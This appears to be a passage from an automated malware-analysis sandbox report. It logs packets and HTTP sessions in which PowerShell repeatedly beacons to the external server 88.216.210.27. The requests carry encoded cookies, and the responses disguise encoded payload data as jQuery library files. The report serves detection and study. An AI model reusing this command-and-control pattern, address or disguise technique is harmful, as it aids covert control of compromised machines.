Apr 9, 2023 02:59:47.513266087 CEST	80	49839	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.634272099 CEST	80	49840	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.634983063 CEST	49840	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.638858080 CEST	49840	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.795197964 CEST	80	49840	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.797785044 CEST	80	49840	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.797805071 CEST	80	49840	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.797820091 CEST	80	49840	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.797941923 CEST	49840	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.798264980 CEST	49840	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.909796000 CEST	49841	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.952792883 CEST	80	49840	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.056263924 CEST	80	49841	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.056622028 CEST	49841	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.056678057 CEST	49841	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.202873945 CEST	80	49841	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.206985950 CEST	80	49841	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.207006931 CEST	80	49841	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.207032919 CEST	80	49841	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.207127094 CEST	49841	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.207415104 CEST	49841	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.319188118 CEST	49842	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.353575945 CEST	80	49841	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.476537943 CEST	80	49842	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.477210045 CEST	49842	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.527508020 CEST	49842	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.690181017 CEST	80	49842	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.692594051 CEST	80	49842	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.692620039 CEST	80	49842	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.692643881 CEST	80	49842	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.692670107 CEST	49842	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.692739010 CEST	49842	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.692989111 CEST	49842	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.800368071 CEST	49843	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.853136063 CEST	80	49842	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.947572947 CEST	80	49843	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:48.947747946 CEST	49843	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:48.948551893 CEST	49843	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.094619989 CEST	80	49843	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.097167969 CEST	80	49843	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.097203016 CEST	80	49843	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.097227097 CEST	80	49843	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.097263098 CEST	49843	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.097302914 CEST	49843	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.097435951 CEST	49843	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.209183931 CEST	49844	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.243732929 CEST	80	49843	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.368419886 CEST	80	49844	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.368522882 CEST	49844	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.368700027 CEST	49844	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.521672964 CEST	80	49844	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.525636911 CEST	80	49844	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.525676966 CEST	80	49844	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.525700092 CEST	80	49844	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.525713921 CEST	49844	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.525752068 CEST	49844	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.525860071 CEST	49844	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.643513918 CEST	49845	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.683646917 CEST	80	49844	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.790184021 CEST	80	49845	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.790334940 CEST	49845	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.790419102 CEST	49845	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.937737942 CEST	80	49845	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.941365004 CEST	80	49845	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.941411018 CEST	80	49845	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.941441059 CEST	80	49845	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:49.941488981 CEST	49845	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.941539049 CEST	49845	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:49.941674948 CEST	49845	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.055908918 CEST	49846	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.220922947 CEST	80	49846	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.223651886 CEST	49846	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.223813057 CEST	49846	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.344747066 CEST	49845	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.385618925 CEST	80	49846	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.389086962 CEST	80	49846	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.389120102 CEST	80	49846	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.389147043 CEST	80	49846	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.389164925 CEST	80	49846	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.389241934 CEST	49846	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.389286995 CEST	49846	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.389472008 CEST	49846	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.494333982 CEST	80	49845	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.505650997 CEST	49847	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.651925087 CEST	80	49847	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.652139902 CEST	49847	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.652348042 CEST	49847	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.798343897 CEST	80	49847	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.800986052 CEST	80	49847	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.801043987 CEST	80	49847	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.801068068 CEST	80	49847	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:50.801127911 CEST	49847	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.801172018 CEST	49847	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.801492929 CEST	49847	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.860476017 CEST	49846	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.911962032 CEST	49848	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:50.947981119 CEST	80	49847	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:51.020591021 CEST	80	49846	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:51.073122025 CEST	80	49848	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:51.073340893 CEST	49848	80	192.168.2.5	88.216.210.27

HTTP Request Dependency Graph

88.216.210.27

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49684	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:38.625735044 CEST	104	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=jqx2K9VvFmwEW9kqt3qYS3TQ9UDj6zZxGePf5iGA7yytmwFbnDfwPHamC_EyUZZEZsVzJo2AqxVN1XF2mABacChyus7kEWOVBLYqc9L76U0asHBwvgraXszUiM6m3DABSir1oMYCHnA8VlLfg0Cy8B0i9y1cvA39TrQHB8N-d5K7mG6G User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:38.774967909 CEST	104	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:38 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:38.775122881 CEST	106	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:38.775149107 CEST	107	IN	Data Raw: 44 49 41 4f 4a 50 4a 50 42 50 41 4d 42 43 4f 4f 4e 42 4f 4c 4b 4f 50 4b 47 4e 4a 41 4f 4f 46 4b 45 49 49 4c 4d 49 43 4d 4c 4f 41 4d 4c 47 41 4a 4e 41 48 4e 49 42 48 45 49 42 4a 4b 46 48 43 48 4d 49 46 49 44 50 4e 4a 4a 4a 4c 4b 4c 4e 4d 49 47 48 Data Ascii: DIAOJPJPBPAMBCOONBOLKOPKGNJAOOFKEIILMICMLOAMLGAJNAHNIBHEIBJKFHCHMIFIDPNJJJLKLNMIGHGDDCGFODKEPEJCCHHNICHOICHKDEEGINPOBLGDOBMGMPJHDGEGNKGKKCOFPDNLNJLLJMANBJFOHCFDBJFPLLPLNDNODBHNDBJGJLEGJLHEFJGMFHMGHNHHKIFEAFECIEHFDFIGCHCNOKOAKIAFCCLDMADJPBDNPAG
Apr 9, 2023 02:58:38.775170088 CEST	107	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49685	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:39.059070110 CEST	108	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Kp-W_HFc9rugaDn9E0l4nNDjFZdH2NamvdA_MYWzD_sJqOGMOAQQ69KV6yaWYnaTwvaT8SmzS8Lp5pGhPDO6p4xBWhlAIoNCoIXKpHbICZq-g5CnGjk6iWjnaBkC79DW7hkVd2Ix_qeYZbIIJ3NSJ7kRF_r4j-0q6ofn0GdNl0Ufq45R User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:39.220506907 CEST	109	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:39 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:39.220542908 CEST	110	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:39.220571041 CEST	111	IN	Data Raw: 4a 44 42 49 4c 42 4d 4b 4b 4f 4b 41 4b 45 4a 4f 43 47 42 42 46 44 4f 45 50 46 44 41 50 42 4f 50 45 4e 49 4f 45 4b 41 4c 44 41 4a 46 41 50 42 49 47 42 4b 48 4f 41 4a 44 49 42 4c 4d 45 4e 45 47 46 4b 42 4d 4e 45 47 4d 41 4e 46 44 49 42 49 50 48 4d Data Ascii: JDBILBMKKOKAKEJOCGBBFDOEPFDAPBOPENIOEKALDAJFAPBIGBKHOAJDIBLMENEGFKBMNEGMANFDIBIPHMNONFMLEHLODIEBHHBCBNOGCNNJKGBCJEABALOHNPIEFGDGEOBBEDIOBENJAIPEDBHAMOFOAEFDEMMNDNOFDEACGLMHJPAAOFBHFKHAIMONENLK/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49694	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:42.888572931 CEST	143	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Py8NvWTsbfq12KK8Bvnj3cVTjtZSaE3nqGCkcJADlLocGHrNLbSLqsclcGeD0u3S10YIsDwD0IP8VgrgKYMh5pnxwVhVkhgDtTVR5WN4kturMwvmD4mhyH1X81gXX0uX-6mONneBZeaN1SlJMsPJZqyhjLvtP3Zr_zd8kXL9DAQKGxUQ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:43.037216902 CEST	143	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:42 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:43.037251949 CEST	145	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:43.037278891 CEST	146	IN	Data Raw: 4c 44 43 50 45 4d 41 42 4e 41 4b 4e 4a 4c 42 48 4e 41 48 4a 48 4e 4a 47 4e 46 4f 4f 46 44 4b 41 4c 48 48 4f 4b 4b 50 49 4f 49 49 4c 45 4c 49 43 44 47 50 4e 4b 47 45 49 46 45 44 4b 50 45 43 46 45 46 4e 49 4d 47 50 42 43 42 4c 48 4f 42 43 49 4b 4a Data Ascii: LDCPEMABNAKNJLBHNAHJHNJGNFOOFDKALHHOKKPIOIILELICDGPNKGEIFEDKPECFEFNIMGPBCBLHOBCIKJDAOCACDJEICEGIPKLHEOECCBILOLBCIPIHMICGEEANLEEMDPMAJNMPCIGPMALBKPNFKJCDOCIDDILJ/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.5	49784	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:21.980175972 CEST	491	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=e5hhiyBbAczxb86KQk6P64Hk4uAW3yHR7NfIRtS0-IxYrxb7aQPnnIOSHFHHZYHkk_Fkhni0vLW44WbWbTRN0N1GrW4RJXQ18YI90yfP_u3vhGfQSz7N_jngn25T6Cehvx7iADM2CdDJYkV_dnSlUOgW4I2piBpdu4AQpzZKYDJOrHkm User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:22.128887892 CEST	491	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:22 GMT Server: CloudFront Content-Length: 2196 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:22.128978014 CEST	492	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:22.129096985 CEST	493	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.5	49785	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:22.394831896 CEST	494	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=gMpBedsJIT4KPe54uRyvGXq2whLtjQEjF4XotC_m2H6j_TYJklHHbnjAPKM8N6EWaKNEdIPmnEdDs0YklmZtIiYUjZzqd1THCtAdIdyd3h8U1kcisGztDMKyv5yougdTREzC8shkKSIyMGWNjSaFohNEwH9S2jqvQNIwVc0YQMC1_lnU User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:22.551440001 CEST	495	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:22 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:22.551472902 CEST	496	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:22.551492929 CEST	497	IN	Data Raw: 4d 46 47 4a 42 4f 44 47 49 4f 4f 44 4e 4a 42 4f 4b 4b 4f 4c 4d 4f 46 47 4a 46 4c 49 46 43 48 50 46 45 50 49 50 43 50 4c 4d 46 49 46 42 4f 48 42 50 48 41 43 4e 4e 47 4f 4f 4b 4c 41 41 48 46 45 4b 42 44 4f 4a 4e 4e 4c 50 49 4f 41 41 4e 41 50 4b 47 Data Ascii: MFGJBODGIOODNJBOKKOLMOFGJFLIFCHPFEPIPCPLMFIFBOHBPHACNNGOOKLAAHFEKBDOJNNLPIOAANAPKGHLIGMKNDOILNPEKFPOJGKNIOIJPOLENBLNNDAJMBLALKHCAPANMGDNJBPGFNMHEEBCONIDKNDJGCLPKEBGEOOPEHKCPGKKDLPHBPJNGNOIPPBLDFCAIDCEEALLJBLJNFGPJKIIALPKAANGKKGNIDBFEOGIIAGFIIG
Apr 9, 2023 02:59:22.551507950 CEST	497	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.5	49786	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:22.875621080 CEST	499	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=mr0Ty8F-c4wQSrzKo2v9q2DBkKD3-lORDfK6BjWRisy5imS7iCaV3GK3bhEmQPOkctQWxpmRzvVZxBSWjBE_kDxj3y7wAAZ1EKdPk8bqjK0OoRWQqhu_vtjF7S6yzVXhXjuQQNITe5AoRzc_l1HXEAkzks1IrWgdWqVi59dvEnKviQtm User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:23.024615049 CEST	499	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:22 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:23.024655104 CEST	500	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:23.024681091 CEST	501	IN	Data Raw: 42 42 4e 45 50 4e 4c 45 46 42 49 41 4b 45 4d 44 48 50 4b 49 4c 46 4d 50 4f 4a 46 4f 4b 43 4d 43 4c 47 44 4b 4b 42 4f 4b 4d 48 50 4b 44 4f 49 4b 4a 4f 4d 4c 46 44 43 47 41 4b 45 4a 44 49 49 42 4d 50 4a 4b 49 4d 4c 4d 48 44 45 44 46 43 47 45 4a 4c Data Ascii: BBNEPNLEFBIAKEMDHPKILFMPOJFOKCMCLGDKKBOKMHPKDOIKJOMLFDCGAKEJDIIBMPJKIMLMHDEDFCGEJLMMLLGJIJBFDACDIHAMAEMELNDMMIJJIJAHFNLGEOEMLJPBINLLCDKFPONEEEHLAJKOFEFEJEJDKAKKCAIBGOCEAIFFJEMABHPODADLPGBILOFMIEANGHNFONJILMAOEHAGBBMMHNOCFOFBOANKIGGPIBHMGOBDBLB
Apr 9, 2023 02:59:23.024705887 CEST	502	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.5	49787	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:23.574100018 CEST	503	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=tRCG7-7T5qg_5ynujMZoj09sBYTYV8a1Il8vIho8H-iWJ_Gfp4sA-E0a-zUJ7WaAXXmD4rY8W9F2aYGyo7yqtBPOSgrfrZNRPwrat-lHGYkhDIC0hbYqmvdoeAqdYMDFcZYFZP2-7rQH6qIbuPxCNCaeB-lnAP05dQj3w_jCh1aAJJ5C User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:23.741369963 CEST	503	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:23 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:23.741405964 CEST	504	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
